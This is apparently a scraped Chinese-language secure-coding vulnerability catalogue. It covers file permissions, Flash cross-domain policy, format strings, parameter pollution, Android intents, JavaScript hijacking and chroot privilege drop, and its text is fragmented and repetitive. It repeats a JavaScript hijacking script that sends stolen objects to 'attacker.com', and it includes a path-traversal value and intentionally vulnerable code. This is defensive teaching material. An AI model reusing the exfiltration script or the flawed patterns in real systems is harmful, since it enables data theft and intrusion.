permissions := strconv.Atoi(os.Getenv("filePermissions"));
fMode := os.FileMode(permissions)
os.chmod(filePath, fMode);
...
String permissionMask = System.getProperty("defaultFileMask");
Path filePath = userFile.toPath();
...
Set<PosixFilePermission> perms = PosixFilePermissions.fromString(permissionMask);
Files.setPosixFilePermissions(filePath, perms);
...
$rName = $_GET['publicReport'];
chmod("/home/". authenticateUser . "/public_html/" . rName,"0755");
...
publicReport
提供恶意值(例如,../../localuser/public_html/.htpasswd
),那么应用程序将允许攻击者读取指定文件。
...
$mask = $CONFIG_TXT['perms'];
chmod($filename,$mask);
...
permissions = os.getenv("filePermissions");
os.chmod(filePath, permissions);
...
...
rName = req['publicReport']
File.chmod("/home/#{authenticatedUser}/public_html/#{rName}", "0755")
...
publicReport
提供恶意值(例如,../../localuser/public_html/.htpasswd
),那么应用程序将允许攻击者读取指定文件。
...
mask = config_params['perms']
File.chmod(filename, mask)
...
crossdomain.xml
配置文件中的相应设置来更改该策略。不过,更改此设置时应小心谨慎,如果跨域策略过于宽松,恶意应用程序就能趁机采用不当方式与受害者应用程序进行通信,从而导致发生欺骗、数据被盗、转发及其他攻击。
flash.system.Security.allowDomain("*");
*
作为 allowDomain()
的参数表明该应用程序的数据可供来自任何域的其他 SWF 应用程序访问。crossdomain.xml
配置文件中的相应设置来更改该策略。从 Flash Player 9,0,124,0 开始,Adobe 还引入了定义 Flash Player 可以跨域发送的自定义标头的功能。但是,在定义这些设置时应小心谨慎,因为当过于宽松的自定义标头策略与过于宽松的跨域策略一起应用时,将允许恶意应用程序将其选择的标头发送到目标应用程序,从而可能导致各种攻击,或导致不知道如何处理接收到的标头的应用程序在执行中出现错误。
<cross-domain-policy>
<allow-http-request-headers-from domain="*" headers="*"/>
</cross-domain-policy>
*
作为 headers
属性的值表明可以跨域发送任何标头。crossdomain.xml
配置文件中的相应设置来更改该策略。不过,在确定可更改此设置的人时应小心谨慎,如果跨域策略过于宽松,恶意应用程序就能趁机采用不当方式与受害者应用程序进行通信,从而导致发生欺骗、数据被盗、转发及其他攻击。在以下情况下会发生策略限制绕过漏洞:示例 2:以下代码会使用已加载的 SWF 文件中的一个参数值来定义可信赖的域列表。
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var url:String = String(params["url"]);
flash.system.Security.loadPolicyFile(url);
...
...
var params:Object = LoaderInfo(this.root.loaderInfo).parameters;
var domain:String = String(params["domain"]);
flash.system.Security.allowDomain(domain);
...
crossdomain.xml
配置文件中的相应设置来更改此项限制。不过,定义这些设置时应小心谨慎,因为通过 HTTP 加载的 SWF 应用程序容易受到中间人攻击,所以不应信赖此程序。allowInsecureDomain()
,它会取消相关限制,从而允许通过 HTTP 加载的 SWF 应用程序访问通过 HTTPS 加载的 SWF 应用程序中的数据。
flash.system.Security.allowInsecureDomain("*");
sprintf()
、FormatMessageW()
或 syslog()
。snprintf()
将一个命令行参数复制到缓冲区中。
int main(int argc, char **argv){
char buf[128];
...
snprintf(buf,128,argv[1]);
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)通过使用 %n
格式化指令,攻击者能够对堆栈进行写入,进而使 snprintf()
记下迄今为止输出的字节数,并将其传送给指定的参数(而不是直接从参数中读取数值,这是程序员最初设计的行为)。对于这种攻击,更为的复杂的形式是使用四条交错的写入来完全控制堆栈中某个指针的值。
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:
...
syslog(LOG_ERR, "%s", cmdBuf);
...
sprintf()
、FormatMessageW()
、syslog()
、NSLog
或 NSString.stringWithFormat
示例 1:下面的代码将命令行参数作为 NSString.stringWithFormat:
中的 format string。
int main(int argc, char **argv){
char buf[128];
...
[NSString stringWithFormat:argv[1], argv[2] ];
}
%x
)来读取堆栈中的内容,然后函数会作为即将格式化的参数使用。(在本例中,函数没有采用任何即将格式化的参数。)
printf("%d %d %1$d %1$d\n", 5, 9);
5 9 5 5
Example 1
中所述。syslog()
函数有时候可以这样使用:
...
syslog(LOG_ERR, cmdBuf);
...
syslog()
的第二个参数是格式字符串,因此 cmdBuf
中的任何格式化指令都会按照Example 1
中所述进行解释。syslog()
的正确使用方式:示例 4:Apple 核心类提供了利用 format string 漏洞的有趣途径。
...
syslog(LOG_ERR, "%s", cmdBuf);
...
String.stringByAppendingFormat()
函数有时候可以这样使用:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:[MyClass
formatInput:inputControl.text]];
...
stringByAppendingFormat()
的正确使用方式:
...
NSString test = @"Sample Text.";
test = [test stringByAppendingFormat:@"%@", [MyClass
formatInput:inputControl.text]];
...
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。
void wrongNumberArgs(char *s, float f, int d) {
char buf[1024];
sprintf(buf, "Wrong number of %.512s");
}
strncpy()
),使用方式不正确也会引发漏洞。对内存的处理加之有关数据段大小和结构方面所存在种种错误假设,是导致大多数 buffer overflow 漏洞产生的根源。%d
格式说明符将一个浮点转换为 f
。
void ArgTypeMismatch(float f, int d, char *s, wchar *ws) {
char buf[1024];
sprintf(buf, "Wrong type of %d", f);
...
}
...
String lang = Request.Form["lang"];
WebClient client = new WebClient();
client.BaseAddress = url;
NameValueCollection myQueryStringCollection = new NameValueCollection();
myQueryStringCollection.Add("q", lang);
client.QueryString = myQueryStringCollection;
Stream data = client.OpenRead(url);
...
lang
(例如 en&poll_id=1
),然后攻击者可以随意更改该 poll_id
。
...
String lang = request.getParameter("lang");
GetMethod get = new GetMethod("http://www.example.com");
get.setQueryString("lang=" + lang + "&poll_id=" + poll_id);
get.execute();
...
lang
(例如 en&poll_id=1
),然后攻击者将可以随意更改该 poll_id
。
<%
...
$id = $_GET["id"];
header("Location: http://www.host.com/election.php?poll_id=" . $id);
...
%>
name=alice
,但他们添加了额外的 name=alice&
,如果在提取第一个匹配项的服务器上使用它,那么它可能会模仿 alice
以便获取有关她的帐户的详细信息。
String arg = request.getParameter("arg");
...
Intent intent = new Intent();
...
intent.setClassName(arg);
ctx.startActivity(intent);
...
Intent
。隐式的内部意图可能会使系统遭受对内部组件的中间人攻击。Intent
使用内部组件定义的自定义操作。隐式意图可以促进从任何给定外部组件调用意图,而无需了解特定组件。将两者结合起来使应用程序能够从所需的应用程序上下文外部访问为特定内部使用指定的意图。Intent
的能力可以实现各种严重程度不等的中间人攻击,从信息泄露、拒绝服务到远程代码执行,具体取决于 Intent
指定的内部操作的能力。Intent
。
...
val imp_internal_intent_action = Intent("INTERNAL_ACTION_HERE")
startActivity(imp_internal_intent_action)
...
PendingIntent
。隐式待定意图可能会导致安全漏洞,例如拒绝服务、私人和系统信息泄漏以及权限提升。Intent
。隐式意图有助于从任何给定的外部组件调用意图,使用通用名称和筛选器来确定执行。Intent
创建为 PendingIntent
,这可能允许将 Intent
发送到在预期时间上下文之外运行的非预期组件,从而使系统容易受到拒绝服务、私人和系统信息泄露以及权限提升等攻击途径。PendingIntent
。
...
val imp_intent = Intent()
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable_impintintent = PendingIntent.getService(
this,
0,
imp_intent,
flag_mut
)
...
PendingIntent
,其标记值设置为 FLAG_MUTABLE
。使用标记值 FLAG_MUTABLE
创建的待定意图很容易在下游设置未指定的 Intent
字段,这样会修改 Intent
的容量并使系统容易受到攻击。PendingIntent
后修改其底层 Intent
可能会使系统容易受到攻击。这主要取决于底层 Intent
的整体功能。在大多数情况下,最佳实践是通过将 PendingIntent
标记设置为 FLAG_IMMUTABLE
来防止发生潜在问题。FLAG_MUTABLE
创建的 PendingIntent
。
...
val intent_flag_mut = Intent(Intent.ACTION_GTALK_SERVICE_DISCONNECTED, Uri.EMPTY, this, DownloadService::class.java)
val flag_mut = PendingIntent.FLAG_MUTABLE
val pi_flagmutable = PendingIntent.getService(
this,
0,
intent_flag_mut,
flag_mut
)
...
Intent
启动活动、启动服务或传递广播,可使攻击者能够任意启动内部应用程序组件、控制内部组件的行为,或通过临时授权间接访问内容提供者提供的受保护数据。Intent
的 Extra 捆绑包中嵌套的任意 Intent
。Intent
,通过调用 startActivity
、startService
或 sendBroadcast
来启动组件。Intent
,并使用该 Intent
启动活动。
...
Intent nextIntent = (Intent) getIntent().getParcelableExtra("next-intent");
startActivity(nextIntent);
...
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
from django.http.response import JsonResponse
...
def handle_upload(request):
response = JsonResponse(sensitive_data, safe=False) # Sensitive data is stored in a list
return response
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,Microsoft AJAX.NET 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
<script>
标签求值的有效 JavaScript 组成,因此很容易受到 JavaScript 劫持的攻击 [1]。默认情况下,这个框架使用 POST 方法提交请求,这样就很难从恶意 <script>
标签生成请求(因为 <script>
标签仅生成 GET 请求)。尽管如此,GWT 确实提供了使用 GET 请求的机制。事实上,许多专家建议程序员使用 GET 请求,以减少浏览器缓存和改善性能。
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/javascript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's Web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
var object;
var req = new XMLHttpRequest();
req.open("GET", "/object.json",true);
req.onreadystatechange = function () {
if (req.readyState == 4) {
var txt = req.responseText;
object = eval("(" + txt + ")");
req = null;
}
};
req.send(null);
GET /object.json HTTP/1.1
...
Host: www.example.com
Cookie: JSESSIONID=F2rN6HopNzsfXFjHX1c5Ozxi0J5SQZTr4a5YJaSbAiTnRR
HTTP/1.1 200 OK
Cache-control: private
Content-Type: text/JavaScript; charset=utf-8
...
[{"fname":"Brian", "lname":"Chess", "phone":"6502135600",
"purchases":60000.00, "email":"brian@example.com" },
{"fname":"Katrina", "lname":"O'Neil", "phone":"6502135600",
"purchases":120000.00, "email":"katrina@example.com" },
{"fname":"Jacob", "lname":"West", "phone":"6502135600",
"purchases":45000.00, "email":"jacob@example.com" }]
<script>
// override the constructor used to create all objects so
// that whenever the "email" field is set, the method
// captureObject() will run. Since "email" is the final field,
// this will allow us to steal the whole object.
function Object() {
this.email setter = captureObject;
}
// Send the captured object back to the attacker's web site
function captureObject(x) {
var objString = "";
for (fld in this) {
objString += fld + ": " + this[fld] + ", ";
}
objString += "email: " + x;
var req = new XMLHttpRequest();
req.open("GET", "http://attacker.com?obj=" +
escape(objString),true);
req.send(null);
}
</script>
<!-- Use a script tag to bring in victim's data -->
<script src="http://www.example.com/object.json"></script>
chroot()
一类的操作所需要的提高了的权限。chroot()
,它必须先获取 root
权限。当受权限控制的操作完成后,程序应该马上丢弃 root
权限并且返回调用它的用户权限等级。chroot()
函数,将应用程序限制在 APP_HOME
下的 file system 的子集中,以防止攻击者通过程序访问位于其他地方的未经授权的文件。然后,代码打开一个由用户指定的文件并处理文件的内容。
...
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
setuid()
进行调用,意味着应用程序仍在使用没有必要的 root
权限进行操作。任何由攻击者对应用程序实施的成功盗取都会导致发生权限扩大的攻击,因为所有的恶意操作都将以超级用户的权限执行。如果应用程序把权限等级降低到一个非 root
用户,则会显著减少很多潜在的破坏。